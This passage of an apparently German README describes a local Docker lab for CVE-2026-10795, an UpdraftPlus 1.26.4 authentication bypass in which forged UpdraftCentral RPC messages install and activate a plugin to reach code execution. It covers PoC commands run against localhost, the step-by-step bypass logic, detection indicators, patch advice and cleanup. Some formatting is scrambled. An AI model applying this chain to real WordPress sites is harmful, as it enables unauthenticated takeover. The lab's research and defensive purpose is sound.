Es validiert nur die Crypto-Bypass- und RPC-Dispatch-Grenze. Es lädt kein Plugin hoch und führt /usr/bin/id nicht aus.
Verwenden Sie --ping, wenn der Standard-ID-Nachweis nicht funktioniert und der Fehler isoliert werden muss.
Wenn --ping fehlschlägt, liegt das Problem wahrscheinlich vor der Befehlsausführung:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
Wenn `--ping` erfolgreich ist, aber der ID-Nachweis fehlschlägt, liegt das Problem wahrscheinlich nach dem Dispatch:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
Erwartetes Ping-Verhalten:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## Erwartete Ergebnisse
### Anfälliges Ziel
Befehl:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### Gepatchtes Ziel
Befehl:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## Manuelle Überprüfungsbefehle
Dienstzustand prüfen:```bash
docker compose ps
Untersuche die Metadaten des verwundbaren Dienstes:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
Inspizieren Sie die Metadaten des gepatchten Dienstes:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
Laufzeit-Plugin-Status prüfen:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
Führen Sie eine reine Ping-Validierung durch:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Run-ID-Nachweis:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
Überprüfen Sie den Marker-Endpunkt direkt nach dem Ausführen des PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
Erwartet:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
Überprüfen Sie die installierten Plugins im anfälligen Container:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Überprüfe installierte Plugins im gepatchten Container:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Der angreifbare Dienst sollte nach Ausführung des PoC das Marker-Plugin enthalten. Der gepatchte Dienst sollte dies nicht.
## Auswirkungen
Dieses Lab zeigt, dass ein nicht authentifizierter Angreifer eine UpdraftCentral-RPC-Nachricht fälschen kann, die bei vorhandenem geeigneten UpdraftCentral-Schlüsselzustand zur privilegierten Befehlsausführung in UpdraftPlus 1.26.4 gelangt.
Die demonstrierte Auswirkung ist RCE-ähnlich, da der gefälschte RPC-Befehl legitime Plugin-Verwaltungsfunktionen missbraucht:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
Der lokale Nachweis zeigt die Ausführung als Webserver-Benutzer:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
Die Schwachstellenkategorie bleibt Authentifizierungsumgehung. Das Ergebnis der Codeausführung ist eine verkettete Auswirkung durch privilegierte Installation von WordPress-Plugins.
## Erkennung und Überwachung
Zu den potenziellen Indikatoren gehören nicht authentifizierte POST-Anfragen an die WordPress-Startseite, die UpdraftCentral-RPC-Felder enthalten:```text
format
key_name
udrpc_message
signature
Verdächtige Merkmale:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
Lokale Laborindikatoren:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
Ideen zur Überwachung der Produktion:
udrpc_message enthalten.format=1 RPC-Anfragen von nicht vertrauenswürdigen Quellen.wp-content/plugins.Aktualisieren Sie UpdraftPlus auf Version 1.26.5 oder neuer.
Die gepatchte Version lehnt ungültige entschlüsselte symmetrische Schlüssel vor der symmetrischen Entschlüsselung und dem Dispatch von Befehlen ab.
Empfohlene Schritte zur Schadensbegrenzung:
udrpc_message-Anfragen.Der wichtigste Fix ist die Verwendung einer gepatchten UpdraftPlus-Version, die ungültige symmetrische Schlüssel vor der Entschlüsselung und dem Dispatch ablehnt.
Stoppen Sie Container und entfernen Sie Netzwerke:```bash docker compose down --remove-orphans
Container, Netzwerke und Volumes entfernen:```bash
docker compose down -v --remove-orphans
Python virtuelle Umgebung entfernen:```bash rm -rf venv
Lokale Beweisdateien entfernen, falls erstellt:```bash
rm -rf evidence/
Dieses Labor dient ausschließlich der lokalen Sicherheitsforschung und kontrollierten Demonstrationen.
Führen Sie den PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Verwenden Sie in diesem Labor keine echten Anmeldeinformationen, Produktionsgeheimnisse oder externe Ziele.
Der PoC ist absichtlich auf lokale Docker-Dienste beschränkt, wie zum Beispiel:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
Der PoC lehnt nicht-lokale Ziele standardmäßig ab.
Das Marker-Plugin implementiert keinen generischen Befehlsausführungsparameter. Es stellt nur einen fest codierten lokalen Proof-Endpunkt bereit, der `/usr/bin/id` ausführt.
Dieses Labor enthält nicht:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
Das Ziel ist es, eine bestimmte technische Bedingung in einer kontrollierten Umgebung zu demonstrieren:```text unauthenticated forged RPC
## Referenzen
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Wordfence Schwachstellen-Datenbank: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Patchstack Datenbank: UpdraftPlus
https://patchstack.com/database/
* WordPress.org Plugin: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* WordPress.org Plugin SVN
https://plugins.svn.wordpress.org/updraftplus/
* WordPress.org Plugin SVN Tags
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: Authentifizierungs-Spickzettel
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Leitfaden für Web-Sicherheitstests
https://owasp.org/www-project-web-security-testing-guide/
| PoC-Verhalten | Getestetes Quellcodeverhalten | Erwartet in 1.26.4 | Erwartet in 1.26.5 |
|---|
POST mit format=1 senden | Listener akzeptiert Legacy-RPC-Format | Fortgesetzt | Fortgesetzt zur gepatchten Entschlüsselungsprüfung |
| Gültige Signatur auslassen | Signaturprüfung gilt nur für format >= 2 | Signatur nicht erforderlich | Signatur nicht erforderlich für format=1, aber später blockiert |
| Ungültigen RSA-Block senden | RSA-Entschlüsselung gibt ungültigen symmetrischen Schlüssel zurück | Ungültiger Schlüssel erreicht setKey() | Ungültiger Schlüssel abgewiesen |
| JSON mit Nullschlüssel/Null-IV verschlüsseln | Modelliert das Fallback-Verhalten von phpseclib nach setKey(false) | Entschlüsselt in gültiges JSON | Entschlüsselt nicht |
command=ping setzen | Testet nur Crypto-Bypass und Dispatch | PING DISPATCHED | PING NOT DISPATCHED |
command=plugin.upload_plugin setzen | Ruft die UpdraftCentral-Plugin-Upload-Methode auf | Plugin-ZIP installiert | Befehl nicht erreicht |
activate=true setzen | Löst activate_plugin() nach der Installation aus | Markierungs-Plugin aktiv | Markierungs-Plugin nicht vorhanden |
/wp-json/cve-lab/v1/id anfragen | Prüft, ob Markierungs-Plugin-Code ausgeführt wird | Gibt uid=33(www-data) zurück | Gibt 404 rest_no_route zurück |
| Service | Komponente | Version / Rolle |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 anfälliges Ziel |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 gepatchtes Ziel |
vuln_db | MariaDB | Datenbank für das anfällige Ziel |
patched_db | MariaDB | Datenbank für das gepatchte Ziel |
vuln_setup | WP-CLI setup service | Installiert WordPress, aktiviert UpdraftPlus, erzeugt lokalen Schlüsselstatus |
patched_setup | WP-CLI setup service | Installiert WordPress, aktiviert UpdraftPlus, erzeugt lokalen Schlüsselstatus |